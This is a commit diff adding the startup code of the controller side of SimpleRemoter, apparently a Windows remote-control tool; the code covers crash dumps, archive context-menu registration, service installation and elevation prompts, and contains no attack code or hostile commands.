Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
647
server/2015Remote/2015Remote.cpp
Normal file
647
server/2015Remote/2015Remote.cpp
Normal file
@@ -0,0 +1,647 @@
|
||||
|
||||
// 2015Remote.cpp : 定义应用程序的类行为。
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "SplashDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
// dump相关
|
||||
#include <io.h>
|
||||
#include <direct.h>
|
||||
#include <DbgHelp.h>
|
||||
#include <intrin.h> // for __cpuid, __cpuidex
|
||||
#include "IOCPUDPServer.h"
|
||||
#include "ServerServiceWrapper.h"
|
||||
#include "common/SafeString.h"
|
||||
#include "CrashReport.h"
|
||||
#include "UIBranding.h"
|
||||
#pragma comment(lib, "Dbghelp.lib")
|
||||
|
||||
// 外部声明:程序退出标志(定义在 2015RemoteDlg.cpp)
|
||||
extern std::atomic<bool> g_bAppExiting;
|
||||
|
||||
// Check if CPU supports AVX2 instruction set
|
||||
static BOOL IsAVX2Supported()
|
||||
{
|
||||
int cpuInfo[4] = { 0 };
|
||||
__cpuid(cpuInfo, 0);
|
||||
int nIds = cpuInfo[0];
|
||||
|
||||
if (nIds >= 7) {
|
||||
__cpuidex(cpuInfo, 7, 0);
|
||||
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL ServerPair::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||
{
|
||||
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||
if (ret1) THIS_APP->MessageBox(_L(_T("启动TCP服务失败: ")) + std::to_string(uPort).c_str()
|
||||
+ _L(_T("。错误码: ")) + std::to_string(ret1).c_str(), _TR("提示"), MB_ICONINFORMATION);
|
||||
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||
if (ret2) THIS_APP->MessageBox(_L(_T("启动UDP服务失败: ")) + std::to_string(uPort).c_str()
|
||||
+ _L(_T("。错误码: ")) + std::to_string(ret2).c_str(), _TR("提示"), MB_ICONINFORMATION);
|
||||
return (ret1 == 0 || ret2 == 0);
|
||||
}
|
||||
|
||||
CMy2015RemoteApp* GetThisApp()
|
||||
{
|
||||
return ((CMy2015RemoteApp*)AfxGetApp());
|
||||
}
|
||||
|
||||
config& GetThisCfg()
|
||||
{
|
||||
config *cfg = GetThisApp()->GetCfg();
|
||||
return *cfg;
|
||||
}
|
||||
|
||||
std::string GetMasterHash()
|
||||
{
|
||||
static std::string hash(skCrypt(MASTER_HASH));
|
||||
return hash;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief 程序遇到未知BUG导致终止时调用此函数,不弹框
|
||||
* 并且转储dump文件到dump目录.
|
||||
*/
|
||||
long WINAPI whenbuged(_EXCEPTION_POINTERS *excp)
|
||||
{
|
||||
// 如果程序正在退出,静默退出,返回码 0(避免服务重启)
|
||||
if (g_bAppExiting) {
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
// 获取dump文件夹,若不存在,则创建之
|
||||
char dumpDir[_MAX_PATH];
|
||||
char dumpFile[_MAX_PATH + 64];
|
||||
|
||||
if (!GetModuleFileNameA(NULL, dumpDir, _MAX_PATH)) {
|
||||
return EXCEPTION_EXECUTE_HANDLER;
|
||||
}
|
||||
|
||||
char* p = strrchr(dumpDir, '\\');
|
||||
if (p) {
|
||||
strcpy_s(p + 1, _MAX_PATH - (p - dumpDir + 1), "dump");
|
||||
} else {
|
||||
strcpy_s(dumpDir, _MAX_PATH, "dump");
|
||||
}
|
||||
|
||||
if (_access(dumpDir, 0) == -1)
|
||||
_mkdir(dumpDir);
|
||||
|
||||
// 构建完整的dump文件路径
|
||||
char curTime[64], dumpName[128];
|
||||
time_t TIME = time(0);
|
||||
struct tm localTime;
|
||||
localtime_s(&localTime, &TIME);
|
||||
strftime(curTime, sizeof(curTime), "%Y-%m-%d %H%M%S", &localTime);
|
||||
sprintf_s(dumpName, sizeof(dumpName), "\\" BRAND_DUMP_PREFIX "_%s.dmp", curTime);
|
||||
sprintf_s(dumpFile, sizeof(dumpFile), "%s%s", dumpDir, dumpName);
|
||||
|
||||
HANDLE hFile = ::CreateFileA(dumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if(INVALID_HANDLE_VALUE != hFile) {
|
||||
MINIDUMP_EXCEPTION_INFORMATION einfo = {::GetCurrentThreadId(), excp, FALSE};
|
||||
::MiniDumpWriteDump(::GetCurrentProcess(), ::GetCurrentProcessId(),
|
||||
hFile, MiniDumpWithFullMemory, &einfo, NULL, NULL);
|
||||
SAFE_CLOSE_HANDLE(hFile);
|
||||
}
|
||||
|
||||
return EXCEPTION_EXECUTE_HANDLER;
|
||||
}
|
||||
|
||||
// CMy2015RemoteApp
|
||||
|
||||
BEGIN_MESSAGE_MAP(CMy2015RemoteApp, CWinApp)
|
||||
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
std::string GetPwdHash();
|
||||
|
||||
// CMy2015RemoteApp 构造
|
||||
|
||||
// 自定义压缩文件
|
||||
#include <windows.h>
|
||||
#include <shlobj.h>
|
||||
#include "ZstdArchive.h"
|
||||
|
||||
bool RegisterZstaMenu(const std::string& exePath)
|
||||
{
|
||||
HKEY hKey;
|
||||
CString _compressText = _TR("压缩为 ZSTA 文件");
|
||||
CString _extractText = _TR("解压 ZSTA 文件");
|
||||
CString _zstaDesc = _TR("ZSTA 压缩文件");
|
||||
const char* compressText = (LPCSTR)_compressText;
|
||||
const char* extractText = (LPCSTR)_extractText;
|
||||
const char* zstaDesc = (LPCSTR)_zstaDesc;
|
||||
const char* zstaExt = "ZstaArchive";
|
||||
|
||||
// 文件右键
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressText, strlen(compressText) + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
std::string compressCmd = "\"" + exePath + "\" -c \"%1\"";
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta\\command", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressCmd.c_str(), compressCmd.size() + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// 文件夹右键
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressText, strlen(compressText) + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta\\command", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)compressCmd.c_str(), compressCmd.size() + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// .zsta 文件关联
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, ".zsta", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)zstaExt, strlen(zstaExt) + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)zstaDesc, strlen(zstaDesc) + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// .zsta 右键菜单
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)extractText, strlen(extractText) + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
std::string extractCmd = "\"" + exePath + "\" -x \"%1\"";
|
||||
if (RegCreateKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract\\command", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
||||
RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)extractCmd.c_str(), extractCmd.size() + 1);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool UnregisterZstaMenu()
|
||||
{
|
||||
RegDeleteTreeA(HKEY_CLASSES_ROOT, "*\\shell\\CompressToZsta");
|
||||
RegDeleteTreeA(HKEY_CLASSES_ROOT, "Directory\\shell\\CompressToZsta");
|
||||
RegDeleteTreeA(HKEY_CLASSES_ROOT, ".zsta");
|
||||
RegDeleteTreeA(HKEY_CLASSES_ROOT, "ZstaArchive");
|
||||
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
|
||||
return true;
|
||||
}
|
||||
|
||||
std::string RemoveTrailingSlash(const std::string& path)
|
||||
{
|
||||
std::string p = path;
|
||||
while (!p.empty() && (p.back() == '/' || p.back() == '\\')) {
|
||||
p.pop_back();
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
std::string RemoveZstaExtension(const std::string& path)
|
||||
{
|
||||
if (path.size() >= 5) {
|
||||
std::string ext = path.substr(path.size() - 5);
|
||||
for (char& c : ext) c = tolower(c);
|
||||
if (ext == ".zsta") {
|
||||
return path.substr(0, path.size() - 5);
|
||||
}
|
||||
}
|
||||
return path + "_extract";
|
||||
}
|
||||
|
||||
CMy2015RemoteApp::CMy2015RemoteApp()
|
||||
{
|
||||
// 支持重新启动管理器
|
||||
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
|
||||
|
||||
// TODO: 在此处添加构造代码,
|
||||
// 将所有重要的初始化放置在 InitInstance 中
|
||||
m_Mutex = NULL;
|
||||
#ifdef _DEBUG
|
||||
std::string masterHash(GetMasterHash());
|
||||
m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
|
||||
#else
|
||||
m_iniFile = new iniFile;
|
||||
#endif
|
||||
|
||||
srand(static_cast<unsigned int>(time(0)));
|
||||
}
|
||||
|
||||
|
||||
// 唯一的一个 CMy2015RemoteApp 对象
|
||||
|
||||
CMy2015RemoteApp theApp;
|
||||
|
||||
// 处理服务相关的命令行参数
|
||||
// 返回值: TRUE 表示已处理服务命令(程序应退出),FALSE 表示继续正常启动
|
||||
static BOOL HandleServiceCommandLine()
|
||||
{
|
||||
CString cmdLine = ::GetCommandLine();
|
||||
cmdLine.MakeLower();
|
||||
|
||||
// -service: 作为服务运行
|
||||
if (cmdLine.Find(_T("-service")) != -1) {
|
||||
int r = ServerService_Run();
|
||||
Mprintf("[HandleServiceCommandLine] ServerService_Run %s\n", r ? "failed" : "succeed");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// -install: 安装服务
|
||||
if (cmdLine.Find(_T("-install")) != -1) {
|
||||
BOOL r = ServerService_Install();
|
||||
Mprintf("[HandleServiceCommandLine] ServerService_Install %s\n", !r ? "failed" : "succeed");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// -uninstall: 卸载服务
|
||||
if (cmdLine.Find(_T("-uninstall")) != -1) {
|
||||
BOOL r = ServerService_Uninstall();
|
||||
Mprintf("[HandleServiceCommandLine] ServerService_Uninstall %s\n", !r ? "failed" : "succeed");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// -agent 或 -agent-asuser: 由服务启动的GUI代理模式
|
||||
// 必须先检查更长的参数 -agent-asuser,避免被 -agent 误匹配
|
||||
if (cmdLine.Find(_T("-agent-asuser")) != -1) {
|
||||
Mprintf("[HandleServiceCommandLine] Run service agent as USER: '%s'\n", cmdLine.GetString());
|
||||
return FALSE;
|
||||
}
|
||||
if (cmdLine.Find(_T("-agent")) != -1) {
|
||||
Mprintf("[HandleServiceCommandLine] Run service agent as SYSTEM: '%s'\n", cmdLine.GetString());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 无参数时,作为服务启动
|
||||
BOOL registered = FALSE;
|
||||
BOOL running = FALSE;
|
||||
char servicePath[MAX_PATH] = { 0 };
|
||||
BOOL r = ServerService_CheckStatus(®istered, &running, servicePath, MAX_PATH);
|
||||
Mprintf("[HandleServiceCommandLine] ServerService_CheckStatus %s\n", !r ? "failed" : "succeed");
|
||||
|
||||
char curPath[MAX_PATH];
|
||||
GetModuleFileNameA(NULL, curPath, MAX_PATH);
|
||||
|
||||
_strlwr(servicePath);
|
||||
_strlwr(curPath);
|
||||
BOOL same = (strstr(servicePath, curPath) != 0);
|
||||
if (registered && !same) {
|
||||
BOOL r = ServerService_Uninstall();
|
||||
Mprintf("[HandleServiceCommandLine] ServerService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
|
||||
registered = FALSE;
|
||||
}
|
||||
if (!registered) {
|
||||
BOOL r = ServerService_Install();
|
||||
Mprintf("[HandleServiceCommandLine] ServerService Install: %s\n", r ? "succeed" : "failed", curPath);
|
||||
return r;
|
||||
} else if (!running) {
|
||||
int r = ServerService_Run();
|
||||
Mprintf("[HandleServiceCommandLine] ServerService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
if (r) {
|
||||
r = ServerService_StartSimple();
|
||||
Mprintf("[HandleServiceCommandLine] ServerService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
|
||||
return r == ERROR_SUCCESS;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 检查是否以代理模式运行
|
||||
static BOOL IsAgentMode()
|
||||
{
|
||||
CString cmdLine = ::GetCommandLine();
|
||||
cmdLine.MakeLower();
|
||||
return cmdLine.Find(_T("-agent")) != -1;
|
||||
}
|
||||
|
||||
// CMy2015RemoteApp 初始化
|
||||
|
||||
BOOL IsRunningAsAdmin()
|
||||
{
|
||||
BOOL isAdmin = FALSE;
|
||||
PSID administratorsGroup = NULL;
|
||||
|
||||
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0, &administratorsGroup)) {
|
||||
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) {
|
||||
isAdmin = FALSE;
|
||||
}
|
||||
|
||||
FreeSid(administratorsGroup);
|
||||
}
|
||||
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||
{
|
||||
CString cmdLine = AfxGetApp()->m_lpCmdLine, arg;
|
||||
cmdLine.Trim(); // 去掉前后空格
|
||||
|
||||
if (cmdLine.CompareNoCase(_T("-agent-asuser")) == 0) {
|
||||
arg = "-agent-asuser";
|
||||
}
|
||||
else if (cmdLine.CompareNoCase(_T("-agent")) == 0) {
|
||||
arg = "-agent";
|
||||
}
|
||||
|
||||
SHELLEXECUTEINFOA shExecInfo;
|
||||
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
|
||||
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
|
||||
shExecInfo.fMask = SEE_MASK_DEFAULT;
|
||||
shExecInfo.hwnd = NULL;
|
||||
shExecInfo.lpVerb = verb;
|
||||
shExecInfo.lpFile = szFilePath;
|
||||
shExecInfo.nShow = SW_NORMAL;
|
||||
shExecInfo.lpParameters = arg.IsEmpty() ? NULL : (LPCSTR)arg;
|
||||
|
||||
return ShellExecuteExA(&shExecInfo);
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteApp::ProcessZstaCmd()
|
||||
{
|
||||
// 检查是否已注册右键菜单
|
||||
char exePath[MAX_PATH];
|
||||
GetModuleFileNameA(NULL, exePath, MAX_PATH);
|
||||
|
||||
// 检查当前注册的路径是否是自己
|
||||
HKEY hKey;
|
||||
bool needRegister = false;
|
||||
if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "ZstaArchive\\shell\\extract\\command",
|
||||
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
char regPath[MAX_PATH * 2] = { 0 };
|
||||
DWORD size = sizeof(regPath);
|
||||
RegQueryValueExA(hKey, NULL, NULL, NULL, (BYTE*)regPath, &size);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// 检查注册的路径是否包含当前程序路径
|
||||
if (strstr(regPath, exePath) == NULL) {
|
||||
needRegister = true; // 路径不同,需要重新注册
|
||||
}
|
||||
} else {
|
||||
needRegister = true; // 未注册
|
||||
}
|
||||
|
||||
if (needRegister) {
|
||||
RegisterZstaMenu(exePath);
|
||||
}
|
||||
// 处理自定义压缩和解压命令
|
||||
if (__argc >= 3) {
|
||||
std::string cmd = __argv[1];
|
||||
std::string path = __argv[2];
|
||||
|
||||
// 压缩
|
||||
if (cmd == "-c") {
|
||||
std::string src = RemoveTrailingSlash(path);
|
||||
std::string dst = src + ".zsta";
|
||||
auto b = (zsta::CZstdArchive::Compress(src, dst) == zsta::Error::Success);
|
||||
Mprintf("压缩%s: %s -> %s\n", b ? "成功" : "失败", src.c_str(), dst.c_str());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 解压
|
||||
if (cmd == "-x") {
|
||||
std::string dst = RemoveZstaExtension(path);
|
||||
auto b = (zsta::CZstdArchive::Extract(path, dst) == zsta::Error::Success);
|
||||
Mprintf("解压%s: %s -> %s\n", b ? "成功" : "失败", path.c_str(), dst.c_str());
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteApp::InitInstance()
|
||||
{
|
||||
CString cmdLine = ::GetCommandLine();
|
||||
Mprintf("启动运行: %s\n", cmdLine);
|
||||
|
||||
// 防止用户频繁点击导致多实例启动冲突
|
||||
// 服务进程、安装/卸载命令不需要互斥量检查(由 SCM 管理)
|
||||
// 代理模式和普通模式使用相同互斥量(TCP 监听,只能运行一个)
|
||||
#ifndef _DEBUG
|
||||
{
|
||||
CString cmdLineLower = cmdLine;
|
||||
cmdLineLower.MakeLower();
|
||||
|
||||
// 以下命令跳过互斥量检查:
|
||||
// - 服务进程和安装/卸载命令(由 SCM 管理)
|
||||
// - 压缩/解压命令(独立功能,不启动主程序)
|
||||
BOOL skipMutex = (cmdLineLower.Find(_T("-service")) != -1) ||
|
||||
(cmdLineLower.Find(_T("-install")) != -1) ||
|
||||
(cmdLineLower.Find(_T("-uninstall")) != -1) ||
|
||||
(cmdLineLower.Find(_T("-zsta")) != -1);
|
||||
|
||||
if (!skipMutex) {
|
||||
std::string masterHash(GetMasterHash());
|
||||
std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE";
|
||||
m_Mutex = CreateMutex(NULL, FALSE, mu.c_str());
|
||||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||||
SAFE_CLOSE_HANDLE(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
// 不弹框,静默退出,避免用户频繁点击时弹出多个对话框
|
||||
Mprintf("[InitInstance] 一个主控程序已经在运行,静默退出。\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// 安装安全字符串 handler,避免 _s 函数参数无效时崩溃且无 dump
|
||||
InstallSafeStringHandler();
|
||||
|
||||
// Check if CPU supports AVX2 instruction set
|
||||
if (!IsAVX2Supported()) {
|
||||
::MessageBoxA(NULL,
|
||||
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||||
"CPU 不兼容", MB_ICONERROR);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!ProcessZstaCmd()) {
|
||||
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||
|
||||
// 检查代理崩溃保护标志
|
||||
// 如果服务检测到代理连续崩溃,会设置此标志并停止服务
|
||||
// 用户下次启动时(普通模式或代理模式)都会看到提示
|
||||
if (THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0) == 1) {
|
||||
// 清除崩溃保护标志
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
|
||||
// 确保是正常模式(服务端已设置,这里再次确保)
|
||||
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
||||
runNormal = 1;
|
||||
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
|
||||
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
|
||||
"如需重新启用服务模式,请在设置中手动切换。",
|
||||
"崩溃保护", MB_ICONWARNING);
|
||||
}
|
||||
|
||||
char curFile[MAX_PATH] = { 0 };
|
||||
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||
// 代理模式由服务管理,不应再次请求管理员权限提升
|
||||
// 否则会导致:1) 原进程正常退出(exitCode=0)不被视为崩溃 2) 被提升的进程脱离服务监控
|
||||
BOOL isAgentMode = IsAgentMode();
|
||||
if (runNormal != 1 && !isAgentMode && !IsRunningAsAdmin() && LaunchAsAdmin(curFile, "runas")) {
|
||||
Mprintf("[InitInstance] 程序没有管理员权限,用户选择以管理员身份重新运行。\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 首先处理服务命令行参数
|
||||
if (runNormal != 1 && HandleServiceCommandLine()) {
|
||||
Mprintf("[InitInstance] 服务命令已处理,退出。\n");
|
||||
return FALSE; // 服务命令已处理,退出
|
||||
}
|
||||
|
||||
Mprintf("[InitInstance] 主控程序启动运行。\n");
|
||||
SetUnhandledExceptionFilter(&whenbuged);
|
||||
|
||||
// 设置 AppUserModelID,避免 Windows 10/11 通知不能显示标题
|
||||
// 动态加载以兼容 XP/Vista
|
||||
typedef HRESULT(WINAPI* PFN_SetAppUserModelID)(PCWSTR);
|
||||
HMODULE hShell32 = GetModuleHandleA("shell32.dll");
|
||||
if (hShell32) {
|
||||
PFN_SetAppUserModelID pfn = (PFN_SetAppUserModelID)GetProcAddress(hShell32,
|
||||
"SetCurrentProcessExplicitAppUserModelID");
|
||||
if (pfn) pfn(L"YAMA");
|
||||
}
|
||||
|
||||
// 设置线程区域为中文,确保 MBCS 程序在非中文系统上也能正确显示对话框中的中文
|
||||
// 必须在创建任何对话框之前调用
|
||||
SetChineseThreadLocale();
|
||||
|
||||
// 加载语言包(必须在显示任何文本之前)
|
||||
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
|
||||
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
|
||||
langDir = langDir.empty() ? "./lang" : langDir;
|
||||
if (PathFileExists(langDir.c_str())) {
|
||||
g_Lang.Init(langDir.c_str());
|
||||
g_Lang.Load(lang.c_str());
|
||||
Mprintf("语言包目录已经指定[%s], 语言数量: %d\n", langDir.c_str(), g_Lang.GetLanguageCount());
|
||||
}
|
||||
|
||||
// 创建并显示启动画面
|
||||
CSplashDlg* pSplash = new CSplashDlg();
|
||||
pSplash->Create(NULL);
|
||||
pSplash->UpdateProgressDirect(5, _TR("正在初始化系统图标..."));
|
||||
|
||||
SHFILEINFO sfi = {};
|
||||
HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_LARGEICON | SHGFI_SYSICONINDEX);
|
||||
m_pImageList_Large.Attach(hImageList);
|
||||
hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX);
|
||||
m_pImageList_Small.Attach(hImageList);
|
||||
|
||||
pSplash->UpdateProgressDirect(10, _TR("正在初始化公共控件..."));
|
||||
|
||||
|
||||
// 如果一个运行在 Windows XP 上的应用程序清单指定要
|
||||
// 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式,
|
||||
//则需要 InitCommonControlsEx()。否则,将无法创建窗口。
|
||||
INITCOMMONCONTROLSEX InitCtrls;
|
||||
InitCtrls.dwSize = sizeof(InitCtrls);
|
||||
// 将它设置为包括所有要在应用程序中使用的
|
||||
// 公共控件类。
|
||||
InitCtrls.dwICC = ICC_WIN95_CLASSES;
|
||||
InitCommonControlsEx(&InitCtrls);
|
||||
|
||||
CWinApp::InitInstance();
|
||||
|
||||
AfxEnableControlContainer();
|
||||
|
||||
// 创建 shell 管理器,以防对话框包含
|
||||
// 任何 shell 树视图控件或 shell 列表视图控件。
|
||||
CShellManager *pShellManager = new CShellManager;
|
||||
|
||||
// 标准初始化
|
||||
// 如果未使用这些功能并希望减小
|
||||
// 最终可执行文件的大小,则应移除下列
|
||||
// 更改用于存储设置的注册表项
|
||||
// 可在 UIBranding.h 中修改 BRAND_REGISTRY_KEY
|
||||
SetRegistryKey(_T(BRAND_REGISTRY_KEY));
|
||||
|
||||
// 注册一个事件,用于进程间通信
|
||||
// 警告:BRAND_EVENT_PREFIX 为系统保留,请勿修改!
|
||||
char eventName[64] = { 0 };
|
||||
sprintf(eventName, BRAND_EVENT_PREFIX "_%d", GetCurrentProcessId());
|
||||
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName);
|
||||
if (hEvent == NULL) {
|
||||
Mprintf("[InitInstance] 创建事件失败,错误码: %d\n", GetLastError());
|
||||
} else {
|
||||
Mprintf("[InitInstance] 创建事件成功,事件名: %s\n", eventName);
|
||||
}
|
||||
|
||||
CMy2015RemoteDlg dlg(nullptr);
|
||||
m_pMainWnd = &dlg;
|
||||
INT_PTR nResponse = dlg.DoModal();
|
||||
if (nResponse == IDOK) {
|
||||
// TODO: 在此放置处理何时用
|
||||
// “确定”来关闭对话框的代码
|
||||
} else if (nResponse == IDCANCEL) {
|
||||
// TODO: 在此放置处理何时用
|
||||
// “取消”来关闭对话框的代码
|
||||
}
|
||||
|
||||
// 删除上面创建的 shell 管理器。
|
||||
if (pShellManager != NULL) {
|
||||
delete pShellManager;
|
||||
}
|
||||
|
||||
if (hEvent) {
|
||||
SAFE_CLOSE_HANDLE(hEvent);
|
||||
Mprintf("[InitInstance] 关闭事件句柄。\n");
|
||||
}
|
||||
|
||||
// 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序,
|
||||
// 而不是启动应用程序的消息泵。
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
int CMy2015RemoteApp::ExitInstance()
|
||||
{
|
||||
if (m_Mutex) {
|
||||
SAFE_CLOSE_HANDLE(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
}
|
||||
__try {
|
||||
Delete();
|
||||
} __except(EXCEPTION_EXECUTE_HANDLER) {
|
||||
}
|
||||
|
||||
SAFE_DELETE(m_iniFile);
|
||||
|
||||
Mprintf("[ExitInstance] 主控程序退出运行。\n");
|
||||
|
||||
// 代理模式正常退出时,需要通知服务停止监控
|
||||
if (IsAgentMode()) {
|
||||
// 先尝试通过 SCM API 停止服务(需要管理员权限)
|
||||
int ret = ServerService_Stop();
|
||||
if (ret == 0) {
|
||||
Mprintf("[ExitInstance] 代理模式,已通过 SCM 停止服务。\n");
|
||||
} else {
|
||||
// SCM 方式失败(可能是用户权限不足),使用 ExitProcess 确保退出代码正确
|
||||
// 注意:不用 return,因为 MFC 对话框模式下返回值可能被忽略
|
||||
Mprintf("[ExitInstance] 代理模式,SCM 失败(%d),使用 ExitProcess(%d)。\n", ret, EXIT_MANUAL_STOP);
|
||||
Sleep(500);
|
||||
ExitProcess(EXIT_MANUAL_STOP);
|
||||
}
|
||||
}
|
||||
|
||||
Sleep(500);
|
||||
return CWinApp::ExitInstance();
|
||||
}
|
||||
171
server/2015Remote/2015Remote.h
Normal file
171
server/2015Remote/2015Remote.h
Normal file
@@ -0,0 +1,171 @@
|
||||
|
||||
// 2015Remote.h : PROJECT_NAME 应用程序的主头文件
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef __AFXWIN_H__
|
||||
#error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件"
|
||||
#endif
|
||||
|
||||
#include "resource.h" // 主符号
|
||||
#include "common/iniFile.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "IOCPUDPServer.h"
|
||||
#include "IOCPKCPServer.h"
|
||||
|
||||
// CMy2015RemoteApp:
|
||||
// 有关此类的实现,请参阅 2015Remote.cpp
|
||||
//
|
||||
|
||||
// ServerPair:
|
||||
